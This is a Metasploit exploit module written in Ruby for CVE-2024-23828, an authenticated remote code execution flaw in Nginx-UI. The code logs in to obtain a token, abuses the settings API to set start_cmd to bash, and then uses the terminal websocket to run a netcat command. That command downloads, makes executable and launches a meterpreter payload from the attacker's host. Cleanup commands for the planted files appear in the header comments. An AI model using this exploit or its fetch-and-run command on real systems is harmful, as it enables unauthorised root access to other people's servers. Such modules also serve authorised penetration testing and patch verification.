## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter/bind_tcp --format elf # # This exploit is for Nginx-UI <= 2.0.0-beta9 CVE-2024-23828 # # We go ahead and grab our authentication token by simulating a login. # Then I hooked the json and swich start_cmd to the 'bash' execuable. # I had to hook the bash shell spawned as root on the terminal, to # be able to send any commands with spaces, redirects, pipes, anything # like that, because the start_cmd will only take a literal binary, and # thinks that anything you enter is a full bin, including spaces, etc, # thus the event machine wrapper for websockets that ends up actually # pushing the shell. I push the shell through netcat and subsequently # change permissions so we can execute it. Once shell is run, our # handler will attempt to stage the shell. I've only been able to get # this to work with _bind style shells, but more testing may prove # otherwise. # # -- Marshall # oxagast@oxasploits.com # # rev. 8 # # Exploit cleanup can be done with the following resource script, so # rename cleanup.rc and once in the meterpreter shell, just call: # resource /tmp/cleanup.rc # # execute -f /bin/rm -a "/tmp/shell" # execute -f /usr/bin/sed -a "-e 's/bash/login/g' -i /path/to/app.ini" # sysinfo # getuid # require "msf/core" require "socket" require "eventmachine" require "faye/websocket" $stdout.sync = true class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, "Name" => 'Authenticated RCE via modifying "start_cmd" setting in Nginx-UI app.ini via JSON POST to API < 2.0.0-beta9', "Description" => %q{ It's been noted that in Nginx-UI before 2.0.0-beta9 an authenticaed (unpriviledged) user may modifiy the "start_cmd" setting in the app.ini config file remotely, via a API request. This exploit works in two parts, because the vulnerable code only takes a single binary with no spaces, options, redirects, pipes, etc. But we can spawn bash on a terminal, which we are later able to hook and push full commands through. This allows us to drop a binary in /tmp that contains our payload. }, "Author" => [ "Marshall Whittaker", # oxagast ], "License" => MSF_LICENSE, "Platform" => "linux", "Arch" => [ARCH_X86], "CmdStagerFlavor" => ["printf"], "References" => [ ["URL", "https://github.com/0xJacky/nginx-ui"], ["URL", "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"], ["CVE", "CVE-2024-23828"], ["CWE", "74"], ], "Targets" => [ ["Nginx-UI < 2.0.0-beta9", { "Privileged" => true }], ], "DefaultOptions" => { "PAYLOAD" => "linux/x86/meterpreter/bind_tcp", # lets use a x86 meterpreter stager (others may work) }, "Payload" => { "Format" => "elf", # we need a whole executable for this, we use elf on linux "Platform" => "unix", }, "Notes" => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, "DisclosureDate" => "2024-1-11", "DefaultTarget" => 0)) register_options( [ Opt::RPORT(9000), OptString.new("RHOST", [true, "The target machine's IP", ""]), OptString.new("USER", [true, "The user to auth as", ""]), OptString.new("PASS", [true, "The user's password", ""]), OptString.new("LHOST", [true, "This machine's IP", ""]), OptInt.new("LSERVPORT", [true, "The port to listen on for pushing the payload", 6789]), ], self.class ) register_advanced_options([ OptBool.new("HANDLER", [true, "Start an exploit/multi/handler job to receive the connection", true]), ]) deregister_options("VHOST", "Proxies", "RHOSTS", "SSL") end def valid_json?(string) !!JSON.parse(string) rescue JSON::ParserError false end def listen(payl, lsp) print_status("Starting payload push socket...") serv = TCPServer.new("#{lsp}") s = serv.accept s.write("#{payl}") print_status("Payload pushed.") s.close print_good("Shell executing... o_o wait for it!!!") end def get_token(user, pass) # this uses our login information to grab our auth token for later use print_status("Attempting to pull auth token") jsond = { :name => user, :password => pass }.to_json jsondat = { :name => user, :password => pass } res = send_request_raw( "uri" => "/api/login", "method" => "POST", "keep_cookies" => true, "ctype" => "application/json", "data" => { :name => user, :password => pass }.to_json, ) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res if valid_json?(res.body) == true loginres = JSON.parse(res.body) tok = loginres["token"] if (!tok.nil? && tok.to_s.length >= 120) # token len is ~125 chars print_good("Authentication token received.") print_good("Token: #{tok}") return tok else fail_with(Failure::NoAccess, "We did not get a token in the response! This usually means a bad username or password was provided.") end else fail_with(Failure::UnexpectedReply, "The returned JSON data is malformed! Cannot receive authtentication token.") end end def injectcmd(token) # here we inject the bash command for the terminal to run (this part abuses the vuln) payl = %Q[{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd] payl << %Q[":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","h] payl << %Q[ttp_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"..] payl << %Q[.","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}] res = send_request_raw( "uri" => "/api/settings", "method" => "POST", "keep_cookies" => true, "ctype" => "application/json", "headers" => { "Authorization" => token }, "data" => payl, ) if res.code == 200 print_good("Exploit returned good code 200!") rhst = datastore["RHOST"] rprt = datastore["RPORT"] lhst = datastore["LHOST"] lsprt = datastore["LSERVPORT"] print_status("Base64 encoding original token for terminal session...") wstok = Base64.encode64(token) wstok = wstok.tr("\n","") print_good("Token: #{wstok}") # setup and build our payload pay = framework.modules.create(datastore["payload"]) pay.datastore["LHOST"] = datastore["LHOST"] pay.datastore["LPORT"] = datastore["LPORT"] print_status("Generating payload...") payl = pay.generate_simple({ "Format" => "elf" }) if payl == "" fail_with(Failure::PayloadFailed, "Payload generation failed! Try a different payload?") end print_good("Payload generated!") Thread.new do listen(payl, lsprt) end Thread.new do print_status("Receiving and changing permissions on shell...") EM.run { ws = Faye::WebSocket::Client.new("ws://#{rhst}:#{rprt}/api/pty?token=#{wstok}") ws.on :open do |event| # this injects and executes the payload on the terms websocket instance ws.send("{\"Data\":\"nc #{lhst} #{lsprt} > /tmp/shell && chmod 777 /tmp/shell && /tmp/shell &\\r\",\"Type\":1}") print_status("Waiting 6 seconds for return...") sleep 6 ws.close end ws.on :message do |event| p [:message, event.data] end ws.on :close do |event| fail_with(Failure::Unknown, "If our shell was pushed, we should never make it here!") ws = nil end } end end end def exploit # we pull then check our variables user = datastore["USER"] pass = datastore["PASS"] rhst = datastore["RHOST"] rprt = datastore["RPORT"] lhst = datastore["LHOST"] lsprt = datastore["LSERVPORT"] if user == "" fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!") end if pass == "" fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!") end if rhst == "" || rprt == "" || lhst == "" || lsprt == "" fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.") end # login routine token = get_token(user, pass) # exploitation routine injectcmd(token) end end